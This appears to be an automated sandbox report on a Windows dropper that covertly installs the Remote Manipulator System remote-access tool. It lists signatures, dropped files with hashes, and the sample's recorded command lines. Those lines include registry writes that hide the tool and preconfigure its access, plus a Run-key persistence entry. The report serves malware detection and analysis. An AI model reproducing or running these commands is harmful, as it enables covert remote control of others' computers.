Analysis

  • max time kernel
    10s
  • platform
    windows7_x64
  • resource
    win7-20220901-en
  • resource tags

    arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
  • submitted
    22/10/2022, 09:44

General

  • Target
    25567135ec1b3375d957d61f20e39b7a442b5a87f3f3591f67d47a1441455585.exe
  • Size 3.6MB
  • Sample221022-lqfmsacdaq
  • SHA256 25567135ec1b3375d957d61f20e39b7a442b5a87f3f3591f67d47a1441455585
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • RMS

    Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.

  • Executes dropped EXE 2 IoCs
  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 6 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • AutoIT Executable 1 IoCs

    AutoIT scripts compiled to PE executables.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Runs ping.exe 1 TTPs 2 IoCs
  • Suspicious use of WriteProcessMemory 51 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\25567135ec1b3375d957d61f20e39b7a442b5a87f3f3591f67d47a1441455585.exe
    "C:\Users\Admin\AppData\Local\Temp\25567135ec1b3375d957d61f20e39b7a442b5a87f3f3591f67d47a1441455585.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1468
    • C:\Users\Admin\AppData\Roaming\Microsoft\up.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\up.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1160
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c install.cmd
        3⤵
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:284
        • C:\Users\Admin\AppData\Roaming\Microsoft\Total.exe
          "Total.exe" x -p2kNR5QbaKpJ2UD3MAbMztr7m8hUQCA data.tmp -y
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:332
        • C:\Windows\SysWOW64\PING.EXE
          ping 127.0.0.1
          4⤵
          • Runs ping.exe
          PID:1952
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKCU\Software\TektonIT\Remote Manipulator System\Server\Parameters" /f /v "Options" /t REG_BINARY /d 545046301154524f4d5365727665724f7074696f6e7300095573654e5441757468080d53656375726974794c6576656c020304506f727403121614456e61626c654f7665726c617943617074757265080c53686f775472617949636f6e080642696e644950060d416e7920696e746572666163651343616c6c6261636b4175746f436f6e6e656374091743616c6c6261636b436f6e6e656374496e74657276616c023c0c50617373776f726444617461060c364f6d2f75776b45394b493d084869646553746f70090c497046696c746572547970650202105573654c656761637943617074757265081750726f7465637443616c6c6261636b53657474696e6773091550726f74656374496e6574496453657474696e6773090f446f4e6f7443617074757265524450080755736549507636091141736b557365725065726d697373696f6e0816557365725065726d697373696f6e496e74657276616c031027134175746f416c6c6f775065726d697373696f6e08134e656564417574686f72697479536572766572081f41736b5065726d697373696f6e4f6e6c794966557365724c6f676765644f6e0811557365496e6574436f6e6e656374696f6e0813557365437573746f6d496e6574536572766572080a496e65744964506f727402000d557365496e6574496449507636081444697361626c6552656d6f7465436f6e74726f6c081344697361626c6552656d6f746553637265656e081344697361626c6546696c655472616e73666572080f44697361626c655265646972656374080d44697361626c6554656c6e6574081444697361626c6552656d6f746545786563757465081244697361626c655461736b4d616e61676572080e44697361626c654f7665726c6179080f44697361626c6553687574646f776e081444697361626c6552656d6f746555706772616465081544697361626c655072657669657743617074757265081444697361626c654465766963654d616e61676572080b44697361626c6543686174081344697361626c6553637265656e5265636f7264081044697361626c65415643617074757265081244697361626c6553656e644d657373616765080f44697361626c655265676973747279080d44697361626c65415643686174081544697361626c6552656d6f746553657474696e6773081544697361626c6552656d6f74655072696e74696e67080a44697361626c65526470080f4e6f7469667953686f7750616e656c08144e6f746966794368616e67655472617949636f6e08104e6f7469667942616c6c6f6e48696e74080f4e6f74696679506c6179536f756e64080c4e6f7469667950616e656c5802ff0c4e6f7469667950616e656c5902ff064c6f6755736508055369644964061034333031352e373439303638373033370d50726f787953657474696e677312910000003c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0d0a3c70726f78795f73657474696e67732076657273696f6e3d223633303032223e3c7573655f70726f78793e66616c73653c2f7573655f70726f78793e3c70726f78795f747970653e303c2f70726f78795f747970653e3c686f73743e3c2f686f73743e3c706f72743e383038303c2f706f72743e3c6e6565645f617574683e66616c73653c2f6e6565645f617574683e3c6e746d6c5f617574683e66616c73653c2f6e746d6c5f617574683e3c757365726e616d653e3c2f757365726e616d653e3c70617373776f72643e3c2f70617373776f72643e3c646f6d61696e3e3c2f646f6d61696e3e3c2f70726f78795f73657474696e67733e0d0a0a4164646974696f6e616c0604353535351144697361626c65496e7465726e65744964080b536166654d6f6465536574080000
          4⤵
            PID:840
          • C:\Windows\SysWOW64\reg.exe
            REG ADD "HKCU\Software\TektonIT\Remote Manipulator System\Server\Parameters" /f /v "InternetId" /t REG_BINARY /d 3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0d0a3c726d735f696e7465726e65745f69645f73657474696e67732076657273696f6e3d223633303032223e3c696e7465726e65745f69643e3834312d3438322d3230383c2f696e7465726e65745f69643e3c7573655f696e65745f636f6e6e656374696f6e3e747275653c2f7573655f696e65745f636f6e6e656374696f6e3e3c696e65745f7365727665723e3c2f696e65745f7365727665723e3c7573655f637573746f6d5f696e65745f7365727665723e66616c73653c2f7573655f637573746f6d5f696e65745f7365727665723e3c696e65745f69645f706f72743e353635353c2f696e65745f69645f706f72743e3c7573655f696e65745f69645f697076363e66616c73653c2f7573655f696e65745f69645f697076363e3c2f726d735f696e7465726e65745f69645f73657474696e67733e0d0a
            4⤵
              PID:1568
            • C:\Windows\SysWOW64\reg.exe
              REG ADD "HKCU\Software\TektonIT\Remote Manipulator System\Server\Parameters" /f /v "Password" /t REG_BINARY /d 38003900440043004100460043003500460042003900450044004200380041003800370030003400350033003600390033003300350037003700340030003800440031003700410036003500390036003400390033003800460033004100340035003400380036003200370030003100310037004600420036003300390041003700350043004300310039004400360046003400380030003000460030003700320037003900370036004200370030004300420041003800340037003700390034003900300034003600450033003400360034003600350030004300430045004100410045003800390046004100430030003500390037004600390032003400
              4⤵
                PID:1204
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKCU\Software\TektonIT\Remote Manipulator System\Server\Parameters" /f /v "notification" /t REG_BINARY /d 3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0d0a3c726d735f696e65745f69645f6e6f74696669636174696f6e2076657273696f6e3d223633303032223e3c7573653e747275653c2f7573653e3c73656e645f746f5f656d61696c3e747275653c2f73656e645f746f5f656d61696c3e3c656d61696c3e626172696e6f7662623130314079616e6465782e72753c2f656d61696c3e3c69643e7b30364543434633422d374333302d344138362d424330392d3935413136343744373534357d3c2f69643e3c67656e65726174655f6e65775f70617373776f72643e66616c73653c2f67656e65726174655f6e65775f70617373776f72643e3c61736b5f6964656e74696669636174696f6e3e66616c73653c2f61736b5f6964656e74696669636174696f6e3e3c73656e743e66616c73653c2f73656e743e3c76657273696f6e3e36333030323c2f76657273696f6e3e3c7075626c69635f6b65795f6d3e3c2f7075626c69635f6b65795f6d3e3c7075626c69635f6b65795f653e3c2f7075626c69635f6b65795f653e3c70617373776f72643e3c2f70617373776f72643e3c696e7465726e65745f69643e3c2f696e7465726e65745f69643e3c646973636c61696d65723e3c2f646973636c61696d65723e3c6164646974696f6e616c5f746578743e626172696e6f7662623130313c2f6164646974696f6e616c5f746578743e3c2f726d735f696e65745f69645f6e6f74696669636174696f6e3e0d0a
                4⤵
                  PID:1100
                • C:\Windows\SysWOW64\reg.exe
                  REG ADD "HKCU\Software\TektonIT\Remote Manipulator System\Server\Parameters" /f /v "FUSClientPath" /t REG_SZ /d ""
                  4⤵
                    PID:932
                  • C:\Windows\SysWOW64\reg.exe
                    REG ADD "HKCU\Software\TektonIT\Remote Manipulator System\Server\Parameters" /f /v "CalendarRecordSettings" /t REG_BINARY /d fffe3c003f0078006d006c002000760065007200730069006f006e003d00220031002e0030002200200065006e0063006f00640069006e0067003d0022005500540046002d003100360022003f003e000d000a003c0073007200650065006e005f007200650063006f00720064005f006f007000740069006f006e002000760065007200730069006f006e003d0022003600330030003000320022003e003c006d00610069006e005f006f007000740069006f006e0073003e003c006100630074006900760065003e00660061006c00730065003c002f006100630074006900760065003e003c0069006e00740065007200760061006c005f00730068006f0074003e00360030003c002f0069006e00740065007200760061006c005f00730068006f0074003e003c00700072006f0074006500630074005f007200650063006f00720064003e00660061006c00730065003c002f00700072006f0074006500630074005f007200650063006f00720064003e003c0063006f006d007000720065007300730069006f006e005f007100750061006c006900740079003e00390030003c002f0063006f006d007000720065007300730069006f006e005f007100750061006c006900740079003e003c007300630061006c0065005f007100750061006c006900740079003e003100300030003c002f007300630061006c0065005f007100750061006c006900740079003e003c0063006f006d007000720065007300730069006f006e005f0074007900700065003e0030003c002f0063006f006d007000720065007300730069006f006e005f0074007900700065003e003c006d00610078005f00660069006c0065005f00730069007a0065003e003100300030003c002f006d00610078005f00660069006c0065005f00730069007a0065003e003c006100750074006f005f0063006c006500610072003e00660061006c00730065003c002f006100750074006f005f0063006c006500610072003e003c006100750074006f005f0063006c006500610072005f0064006100790073003e0030003c002f006100750074006f005f0063006c006500610072005f0064006100790073003e003c0075007300650064005f00660069006c0065005f006c0069006d00690074003e0074007200750065003c002f0075007300650064005f00660069006c0065005f006c0069006d00690074003e003c0061006c006c005f00660069006c00650073005f006c0069006d00690074005f006d0062003e0031003000300030003c002f0061006c006c005f00660069006c00650073005f006c0069006d00690074005f006d0062003e003c0064007200610077005f006400610074006100740069006d0065005f006f006e005f0069006d006100670065003e0074007200750065003c002f0064007200610077005f006400610074006100740069006d0065005f006f006e005f0069006d006100670065003e003c002f006d00610069006e005f006f007000740069006f006e0073003e003c007300630068006500640075006c00650073002f003e003c002f0073007200650065006e005f007200650063006f00720064005f006f007000740069006f006e003e000d000a00
                    4⤵
                      PID:1392
                    • C:\Windows\SysWOW64\reg.exe
                      REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "sys" /t REG_SZ /d "c:\ProgramData\rutserv.exe"
                      4⤵
                      • Adds Run key to start application
                      PID:1600
                    • C:\Windows\SysWOW64\PING.EXE
                      ping 127.0.0.1
                      4⤵
                      • Runs ping.exe
                      PID:1220

              Network

                    MITRE ATT&CK Enterprise v6

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    7z.dll

                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\7z.dll
                    • Size 893KB
                    • SHA256 a1e1d1f0fff4fcccfbdfa313f3bdfea4d3dfe2c2d9174a615bbc39a0a6929338
                    • MD5 SHA1 SHA512 SSDEEP

                    Total.exe

                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\Total.exe
                    • Size 160KB
                    • SHA256 ac9674feb8f2fad20c1e046de67f899419276ae79a60e8cc021a4bf472ae044f
                    • MD5 SHA1 SHA512 SSDEEP

                    Total.exe

                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\Total.exe
                    • Size 160KB
                    • SHA256 ac9674feb8f2fad20c1e046de67f899419276ae79a60e8cc021a4bf472ae044f
                    • MD5 SHA1 SHA512 SSDEEP

                    data.tmp

                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\data.tmp
                    • Size 2.8MB
                    • SHA256 2c0369d45095ba36ce2230a37e67b112d9af10d239089673b3a9cc43d712f748
                    • MD5 SHA1 SHA512 SSDEEP

                    install.cmd

                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\install.cmd
                    • Size 8KB
                    • SHA256 ad84dc40f1f898e229b59dbd7bc47859579cbe56c063d17ec49f09ab9db94125
                    • MD5 SHA1 SHA512 SSDEEP

                    rfusclient.exe

                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\rfusclient.exe
                    • Size 5.5MB
                    • SHA256 d4a4153b068ca7d9b0eaeb4f1715305504ca4fff63061f8ddc25324ae40d58fb
                    • MD5 SHA1 SHA512 SSDEEP

                    rutserv.exe

                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\rutserv.exe
                    • Size 6.4MB
                    • SHA256 0f36f86fae57d60becd306b05dd981da38475bb57af405b257d2cb548a1d6ee1
                    • MD5 SHA1 SHA512 SSDEEP

                    up.exe

                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\up.exe
                    • Size 350KB
                    • SHA256 21f50119664b2aefa863df7f9948eb3c3deea3cbc1c153a2af7339a6ffe9f031
                    • MD5 SHA1 SHA512 SSDEEP

                    up.exe

                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\up.exe
                    • Size 350KB
                    • SHA256 21f50119664b2aefa863df7f9948eb3c3deea3cbc1c153a2af7339a6ffe9f031
                    • MD5 SHA1 SHA512 SSDEEP

                    vp8decoder.dll

                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\vp8decoder.dll
                    • Size 378KB
                    • SHA256 acf354ad6ed94e876b29a60c5870dd91e7b3f76cc82c1a862c92024a12404a9f
                    • MD5 SHA1 SHA512 SSDEEP

                    vp8encoder.dll

                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\vp8encoder.dll
                    • Size 1.6MB
                    • SHA256 a5f008bf852d4c73e001f840d6f8b233c7d9bc9570cee639d40c1c8723bf99f8
                    • MD5 SHA1 SHA512 SSDEEP

                    webmmux.dll

                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\webmmux.dll
                    • Size 258KB
                    • SHA256 d247afa3bd1ccc18e11eb099280802a61d3792a2018c476d95debf2091e9707d
                    • MD5 SHA1 SHA512 SSDEEP

                    ExecDos.dll

                    • Path \Users\Admin\AppData\Local\Temp\nsdC42.tmp\ExecDos.dll
                    • Size 5KB
                    • SHA256 69ac56d2fdf3c71b766d3cc49b33b36f1287cc2503310811017467dfcb455926
                    • MD5 SHA1 SHA512 SSDEEP

                    System.dll

                    • Path \Users\Admin\AppData\Local\Temp\nsdC42.tmp\System.dll
                    • Size 11KB
                    • SHA256 dc58d8ad81cacb0c1ed72e33bff8f23ea40b5252b5bb55d393a0903e6819ae2f
                    • MD5 SHA1 SHA512 SSDEEP

                    7z.dll

                    • Path \Users\Admin\AppData\Roaming\Microsoft\7z.dll
                    • Size 893KB
                    • SHA256 a1e1d1f0fff4fcccfbdfa313f3bdfea4d3dfe2c2d9174a615bbc39a0a6929338
                    • MD5 SHA1 SHA512 SSDEEP

                    Total.exe

                    • Path \Users\Admin\AppData\Roaming\Microsoft\Total.exe
                    • Size 160KB
                    • SHA256 ac9674feb8f2fad20c1e046de67f899419276ae79a60e8cc021a4bf472ae044f
                    • MD5 SHA1 SHA512 SSDEEP

                    Total.exe

                    • Path \Users\Admin\AppData\Roaming\Microsoft\Total.exe
                    • Size 160KB
                    • SHA256 ac9674feb8f2fad20c1e046de67f899419276ae79a60e8cc021a4bf472ae044f
                    • MD5 SHA1 SHA512 SSDEEP

                    up.exe

                    • Path \Users\Admin\AppData\Roaming\Microsoft\up.exe
                    • Size 350KB
                    • SHA256 21f50119664b2aefa863df7f9948eb3c3deea3cbc1c153a2af7339a6ffe9f031
                    • MD5 SHA1 SHA512 SSDEEP

                    memory/1160-64-0x00000000010C0000-0x000000000119C000-memory.dmp

                    memory/1468-54-0x0000000076BA1000-0x0000000076BA3000-memory.dmp